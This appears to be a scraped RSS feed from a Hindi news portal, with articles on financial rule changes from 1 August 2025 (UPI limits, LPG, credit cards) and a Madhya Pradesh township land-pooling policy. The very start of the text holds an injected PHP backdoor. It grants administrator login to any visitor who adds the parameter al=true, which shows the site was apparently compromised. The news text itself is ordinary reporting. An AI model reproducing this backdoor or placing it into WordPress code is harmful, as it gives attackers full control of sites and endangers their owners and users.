// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); rules – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Sat, 26 Jul 2025 12:38:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 1 अगस्त से बदल जाएंगे ये 6 बड़े नियम: UPI, LPG और क्रेडिट कार्ड पर पड़ेगा सीधा असर https://pratyushaashakinayikiran.com/?p=173443 Sat, 26 Jul 2025 12:38:00 +0000 https://pratyushaashakinayikiran.com/?p=173443 नई दिल्ली

हर महीने की तरह अगस्‍त 2025 में भी कई फाइनेंशियल नियमों में बदलाव होने जा रहा है, जो आम आदमी की जेब पर असर डाल सकते हैं. क्रेडिट कार्ड के नियम, LPG के दाम में बदलाव देखने को मिल सकता है तो वहीं UPI को लेकर भी कई चेंजेज होने वाले हैं. यह 6 बदलाव आपकी जेब पर बोझ डाल सकते हैं और आपके बजट को प्रभावित कर सकते हैं. आइए जानते हैं अगले महीने से कौन-कौन से नियम बदल रहे हैं. 

पहला- क्रेडिट कार्ड में बदलाव 
अगर आप SBI Card होल्‍डर्स हैं तो आपको एक बड़ा झटका लग सकता है, क्‍योंकि 11 अगस्‍त से एसबीआई ने कई को-ब्रांडेड क्रेडिट कार्ड्स पर मिलने वाले फ्री एयर एक्सीडेंट इंश्योरेंस कवर को बंद करने जा रहा है. अभी तक SBI- UCO बैंक, सेंट्रल बैंक, पीएसबी, करूर वैश्य बैंक, अलाहाबाद बैंक के साथ मिलकर कुछ ELITE और PRIME कार्ड्स पर 1 करोड़ रुपये या 50 लाख रुपये का कवर देता था. 

दूसरा- LPG के दाम में बदलाव 
हर महीने की तरह ही इस महीने भी रसोई गैस या कमर्शियल सिलेंडर के दाम में बदलाव हो सकता है. 1 जुलाई को 19 किलो कमर्शियल सिलेंडर के दाम में बदलाव किया गया था और इसे 60 रुपये सस्‍ता कर दिया गया था. कई बाद कमर्शियल सिलेंडर के दाम में बदलाव हुआ है, लेकिन रसोई गैस सिलेंडर के दाम में अभी तक बदलाव नहीं हुआ है. ऐसे में 1 अगस्‍त से रसोई गैस के दाम में कटौती की उम्‍मीद की जा रही है. 

तीसरा- UPI के बदल रहे ये नियम 
1 अगस्‍त से UPI को लेकर कई नए नियम लागू होंगे. अगर आप नियमित तौर पर Paytm, PhonePe, GPay या किसी अन्‍य पेमेंट थर्ड प्‍लेटफॉर्म का यूज करते हैं तो भारतीय राष्ट्रीय भुगतान निगम (NPCI) ने आपके लिए दबाव कम करने और बेहतर पेमेंट सुविधा देने के लिए कई नियम बदले हैं. NPCI ने कुछ नए लिमिटेशन लगाई हैं, जो आपके पेमेंट को प्रभावित नहीं करेंगे, लेकिन बैलेंस चेक, स्टेटस रिफ्रेश और अन्य चीजों पर लिमिट लगाते हैं. 

    अब आप एक दिन में अपने यूपीआई ऐप से सिर्फ 50 बार बैलेंस चेक कर पाएंगे. 

    अब आप मोबाइल नंबर से लिंक बैंक अकाउंट्स को दिन में सिर्फ 25 बार चेक कर पाएंगे.  

    AutoPay ट्रांजेक्‍शन जैसे नेटफ्लिक्स या म्यूचुअल फंड की किसत अब सिर्फ 3 समय स्‍लॉट में प्रॉसेस होंगे. सुबह 10 बजे से पहले, दोपहर 1 से 5 बजे और रात 9.30 बजे के बाद. 

    अब आप फेल ट्रांजेक्‍शन का स्‍टेटस सिर्फ 1 दिन में 3 बार चेक कर पाएंगे और हर चेके बीच में 90 सेंकेड का अंतर होगा. 

चौथा- CNG, PNG के दाम में बदलाव 
अक्‍सर देखा जाता है कि तेल कंपनियां सीएनजी और पीएनजी के दाम में भी हर महीने बदलाव करती हैं, लेकिन अप्रैल के बाद से इसमें कोई बदलाव नहीं हुआ है. आखिरी बार 9 अप्रैल को सीएनजी-पीएनजी के दाम में बदलाव हुआ था. तब मुंबई में सीएनजी ₹79.50/किलोग्राम और पीएनजी ₹49/यूनिट हुई थी. यह बढ़ोतरी छह महीने में चौथी बार की गई थी. 

पांचवा- बैंक हॉलिडे 
भारतीय रिजर्व बैंक हर महीने बैंकों की हॉलिडे लिस्‍ट जारी करता है. वीकेंड को छोड़कर त्‍योहार और अन्‍य जरूरी डेट पर आरबीआई बैंकों को बंद करने के लिए निर्देश देता है. हालांकि ये अवकाश अलग-अलग जगहों के लिए अलग-अलग डेट पर हो सकती हैं. 

छठवां- ATF के दाम 
1 अगस्‍त से एयर टर्बाइन फ्यूल (ATF) के दाम में भी बदलाव हो सकता है, क्‍योंकि ऑयल मार्केटिंग कंपनियों महीने की पहली तारीख को LPG Price ही नहीं, बल्कि एयर टर्बाइन फ्यूल की कीमतों (ATF Price) में भी बदलाव करती हैं. इसकी कीमतों में उतार-चढ़ाव यात्री के टिकट के दामों पर सीधा पड़ता है.  

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मध्य प्रदेश सरकार ने टाउनशिप विकास के नियमों को सरल बनाया, जिसमें लैंड पुलिंग का प्रावधान https://pratyushaashakinayikiran.com/?p=130240 Sun, 09 Feb 2025 03:38:00 +0000 https://pratyushaashakinayikiran.com/?p=130240  भोपाल
मध्य प्रदेश में शहरों के आसपास किसान, किसानों के समूह या निजी व्यक्ति लैंड पुलिंग करके टाउनशिप बना सकेंगे यानी यदि उनके पास एकीकृत टाउनशिप बनाने के लिए आवश्यक भूमि नहीं है तो वे आसपास के किसान या निजी भूमि को मिलाकर परियोजना बनाएंगे।

इसके लिए भूमि दिलाने के लिए डेवलपर या विकासकर्ता विकास प्राधिकरण या अन्य एजेंसियों से अनुरोध कर सकेंगे। वह आपसी सहमति के आधार पर भूमि दिलाने में भूमिका निभाएगी। यदि परियोजना क्षेत्र में सरकारी भूमि आती है तो अधिकतम आठ हेक्टेयर सीमा की छूट दी जा सकेगी।

टाउनशिप नीति तैयार की

इसके लिए नगरीय विकास एवं आवास विभाग ने एकीकृत टाउनशिप नीति तैयार की है। इसमें लैंड पुलिंग का प्रावधान रखा गया है। नियम सरल बनाए गए हैं। यह प्रावधान विकास प्राधिकरण सहित अन्य हाउसिंग प्रोजेक्ट करने वाली एजेंसियों के लिए भी लागू होंगे। प्रस्तावित नीति पर अंतिम निर्णय 11 फरवरी को प्रस्तावित कैबिनेट बैठक में होगा।

सुविधाओं का विकास नहीं हो पाता

अभी कॉलोनाइजर नियम में कॉलोनी बनाने के लिए न्यूनतम क्षेत्र की कोई आवश्यकता नहीं है इसलिए शहरों में छोटे-छोटे समूहों में कॉलोनियों का निर्माण हो रहा है, लेकिन इसमें सुविधाओं का विकास नहीं हो पाता है। इसके लिए एकीकृत टाउनशिप नीति तैयार की गई है।

एक निश्चित स्थान पर कॉलोनी बनेगी

इसमें नगर निगम सीमा या योजना क्षेत्र के भीतर पांच लाख से कम जनसंख्या वाले शहर में न्यूनतम दस हेक्टेयर में कॉलोनी का विकास किया जाएगा। पांच लाख से अधिक जनसंख्या वाले शहर में भूमि की यह सीमा दस हेक्टेयर और नगर निकाय सीमा या उसके बाहर न्यूनतम 40 हेक्टेयर रहेगी। इसका मतलब यह हुआ कि अब छोटे-छोटे समूह के स्थान पर एक निश्चित क्षेत्र में कॉलोनी बनेगी।

परियोजना क्षेत्र निर्धारित होगा

इसके लिए किसान या निजी व्यक्ति के पास आवश्यकता के अनुरूप भूमि नहीं है तो वह समूह बनाकर काम करेगा। लैंड पुलिंग करके परियोजना क्षेत्र निर्धारित होगा। डेवलपर प्रस्तावित टाउनशिप की सीमा के अंदर 80 प्रतिशत भूमि प्राप्त कर चुका है और शेष भूमि प्राप्त करने में विफल रहता है तो वो संबंधित प्राधिकरण से भूमि अधिग्रहित करने का अनुरोध करेगा।

सीमा में छूट दी जाएगी

आपसी सहमति के आधार पर भूमि की व्यवस्था कराई जाएगी। सरकारी भूमि के परियोजना क्षेत्र में आने पर अधिकतम आठ हेक्टेयर तक छूट दी जा सकती है। कृषि भूमि खरीदने पर उच्चतम जोत सीमा में छूट दी जाएगी क्योंकि भूमि उद्देश्य विशेष के लिए ली जा रही है।

50 प्रतिशत का उपयोग जनसुविधा के लिए

स्टांप ड्यूटी और अतिरिक्त फ्लोर रेशियो एरिया में छूट दी जाएगी। इसके साथ ही विकास प्राधिकरण या अन्य निर्माण एजेंसी अधिग्रहित की गई जमीन में से 50 प्रतिशत का उपयोग जनसुविधा के लिए कर सकेंगी।

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